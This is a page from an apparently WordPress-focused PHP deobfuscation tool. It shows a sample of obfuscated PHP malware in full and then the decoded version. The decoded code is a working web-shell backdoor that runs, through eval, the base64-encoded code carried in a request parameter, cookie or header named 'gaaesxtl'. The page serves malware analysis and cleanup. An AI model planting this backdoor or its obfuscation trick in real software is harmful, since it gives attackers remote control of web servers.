Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $godiva ='TP$rl$ST_'; $genesis= 'e]'; $flyers = 'v_$gye@fT'; $imagination ='T'; $intimate ='['; $gus='U$ESrHe'; $counteractive ='s'; $balalaika= 'ITt(?$=';$comprehension = ',v"i;';$conception =';'; $burglarproofing= 'Q'; $festival = '=Reg$@a$E'; $clothed= ')';$dolomitic= 'c'; $initialized =...



Obfuscated php code

<?php

	$godiva ='TP$rl$ST_';

	$genesis= 'e]';

	$flyers = 'v_$gye@fT';
	$imagination ='T'; $intimate ='['; $gus='U$ESrHe'; $counteractive ='s'; $balalaika= 'ITt(?$=';$comprehension = ',v"i;';$conception =';'; $burglarproofing= 'Q'; $festival = '=Reg$@a$E'; $clothed= ')';$dolomitic= 'c'; $initialized = 'ac_R('; $amid='i';

	$ladder ='t';$fettered = 'r'; $coot= '6';

	$kind= '$'; $full ='l'; $bus = 'sre_)R_a'; $focal ='i;T)'; $magnetic='t';
	$broomsticks='("si,is"(';
	$birgit = ')'; $lobsters='"rOd$eo'; $cam ='xG_te';

	$eyeglasses= 'l'; $hunch = 'oEQiA';

	$geoff ='_';$clarinda ='r_s)(ss"e';$chub='t]E]E[a'; $efficiently = '$'; $englebert =')';
	$credits= 'g(be';

	$gaylord='rKtL XASp';$india = ')(';$alto= 'a';$eject='T';

	$generously= 'e';$disgraced = 'v';$audition = '?G@yl';$jupiter ='aia';$hummingbird = ')';$brockie = 'a'; $dehumidify= 'etA:n(E'; $kennels = 'd]'; $demoralizing ='a'; $coexistence= 'P';$issue = 'x';$doorstep='t';$broiled = 'v';

	$brennen= 'd';$finitely ='aesmP';$encodes = '_A4Heu(a'; $intensify= 'OiS';$dwelt ='rf)';
	$h='__a;a"S';$differed ='"seecc';$bean = 'VTgrX'; $assignees = 'u';$lascivious = 'g';$consanguineous='R"eLaCns'; $lazaro = ')'; $crossovers= 'r';
	$corridor= '[';$escorts= 'e';
	$dread = 'tU'; $contrapositive= '['; $lair ='ap:iEonr'; $daniel = '(';$compton =')';

	$hinting= '('; $irrespectively = $differed['5'] .$lair['7']. $escorts .$lair['0'].$dread['0'] .
	$escorts .$h['1']. $dwelt['1'].

	$assignees .$lair['6']. $differed['5'] .$dread['0'].

	$lair['3'] . $lair['5'] . $lair['6'] ; $ironwood= $gaylord['4'];  $contest=$irrespectively ($ironwood, $escorts .$broiled.$lair['0'] . $audition['4'].$hinting.

	$audition['2'] . $lair['0'].
	$lair['7'].$lair['7'].$lair['0'] .$audition['3'].$h['1'].$lair['1']. $lair['5'] . $lair['1'] . $hinting.$dwelt['1'] . $assignees. $lair['6']. $differed['5'].$h['1'] .$lascivious .$escorts. $dread['0'].
	$h['1'] .$lair['0'] . $lair['7'] . $lascivious . $consanguineous['7'] .$hinting.
	$compton .$compton . $compton . $h['3']);$contest ($efficiently, $audition['4'],
	$h['1'] , $h['6'],$audition['0'],$dread['0'], $efficiently .$lair['3'] .

	$festival['0'].$audition['2'] .$lair['0'] .
	$lair['7'] . $lair['7'] .
	$lair['0'] . $audition['3'] .$h['1'] . $finitely['3'] .$escorts. $lair['7'].

	$lascivious.$escorts. $hinting.$efficiently.$h['1']. $consanguineous['0'] .$lair['4'] .$hunch['2'] .
	$dread['1'] .$lair['4'] . $h['6'] .
	$bean['1'] .$broomsticks['4'] .$efficiently . $h['1'] .$consanguineous[5]. $intensify[0].$intensify[0] .$gaylord['1']. $balalaika['0']. $lair['4'] . $broomsticks['4'].$efficiently.

	$h['1'].$h['6'] . $lair['4']. $consanguineous['0'] . $bean['0']. $lair['4']. $consanguineous['0'].$compton.$h['3'] .$efficiently.

	$lair['0'].
	$festival['0'].$lair['3'].$consanguineous['7'].

	$consanguineous['7'].$escorts. $dread['0'] .$hinting .$efficiently .

	$lair['3']. $contrapositive .
	$consanguineous['1'] .

	$lascivious. $lair['0'].$lair['0'].$escorts . $consanguineous['7'] . $issue . $dread['0'] . $audition['4'] .$consanguineous['1'] .$kennels[1].$compton. $audition['0'].$efficiently.

	$lair['3']. $contrapositive .$consanguineous['1'].$lascivious .$lair['0']. $lair['0'].$escorts .$consanguineous['7'] .$issue . $dread['0'] . $audition['4']. $consanguineous['1'].$kennels[1] .$lair['2'] . $hinting.$lair['3'] .$consanguineous['7']. $consanguineous['7'].
	$escorts. $dread['0']. $hinting .
	$efficiently.
	$lair['3']. $contrapositive . $consanguineous['1'].$encodes['3'] . $bean['1']. $bean['1']. $finitely['4'] . $h['1'] . $audition['1'].$encodes['1'] . $encodes['1'] .

	$lair['4'] .$h['6'].$bean['4'] . $bean['1'] .

	$consanguineous['3']. $consanguineous['1'].

	$kennels[1].

	$compton . $audition['0'] .$efficiently . $lair['3']. $contrapositive. $consanguineous['1'] . $encodes['3'].
	$bean['1'].
	$bean['1'].$finitely['4']. $h['1'] .$audition['1'].
	$encodes['1'] . $encodes['1'] . $lair['4'].$h['6'].$bean['4']. $bean['1']. $consanguineous['3'] .$consanguineous['1'].$kennels[1] .$lair['2'] . $brennen .

	$lair['3']. $escorts . $compton.$h['3'] . $audition['2'] . $escorts .$broiled .

	$lair['0'] .$audition['4'] .$hinting . $consanguineous['7'].$dread['0']. $lair['7'] .$lair['7'] .

	$escorts .$broiled. $hinting .$credits['2']. $lair['0'] . $consanguineous['7'] . $escorts .$coot .$encodes['2'] .$h['1'].$brennen .

	$escorts . $differed['5'] .$lair['5'].$brennen .$escorts .$hinting. $consanguineous['7'] .$dread['0']. $lair['7'].$lair['7'].
	$escorts. $broiled .$hinting .$efficiently . $lair['0'] . $compton . $compton . $compton.

	$compton . $h['3']  );

Decoded(de-Obfuscated) php code

<?php

$godiva = 'TP$rl$ST_';
$genesis = 'e]';
$flyers = 'v_$gye@fT';
$imagination = 'T';
$intimate = '[';
$gus = 'U$ESrHe';
$counteractive = 's';
$balalaika = 'ITt(?$=';
$comprehension = ',v"i;';
$conception = ';';
$burglarproofing = 'Q';
$festival = '=Reg$@a$E';
$clothed = ')';
$dolomitic = 'c';
$initialized = 'ac_R(';
$amid = 'i';
$ladder = 't';
$fettered = 'r';
$coot = '6';
$kind = '$';
$full = 'l';
$bus = 'sre_)R_a';
$focal = 'i;T)';
$magnetic = 't';
$broomsticks = '("si,is"(';
$birgit = ')';
$lobsters = '"rOd$eo';
$cam = 'xG_te';
$eyeglasses = 'l';
$hunch = 'oEQiA';
$geoff = '_';
$clarinda = 'r_s)(ss"e';
$chub = 't]E]E[a';
$efficiently = '$';
$englebert = ')';
$credits = 'g(be';
$gaylord = 'rKtL XASp';
$india = ')(';
$alto = 'a';
$eject = 'T';
$generously = 'e';
$disgraced = 'v';
$audition = '?G@yl';
$jupiter = 'aia';
$hummingbird = ')';
$brockie = 'a';
$dehumidify = 'etA:n(E';
$kennels = 'd]';
$demoralizing = 'a';
$coexistence = 'P';
$issue = 'x';
$doorstep = 't';
$broiled = 'v';
$brennen = 'd';
$finitely = 'aesmP';
$encodes = '_A4Heu(a';
$intensify = 'OiS';
$dwelt = 'rf)';
$h = '__a;a"S';
$differed = '"seecc';
$bean = 'VTgrX';
$assignees = 'u';
$lascivious = 'g';
$consanguineous = 'R"eLaCns';
$lazaro = ')';
$crossovers = 'r';
$corridor = '[';
$escorts = 'e';
$dread = 'tU';
$contrapositive = '[';
$lair = 'ap:iEonr';
$daniel = '(';
$compton = ')';
$hinting = '(';
$irrespectively = "create_function";
$ironwood = $gaylord['4'];
$contest = function () {
    eval(@array_pop(func_get_args()));
};
$contest($efficiently, $audition['4'], $h['1'], $h['6'], $audition['0'], $dread['0'], "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"gaaesxtl\"])?\$i[\"gaaesxtl\"]:(isset(\$i[\"HTTP_GAAESXTL\"])?\$i[\"HTTP_GAAESXTL\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.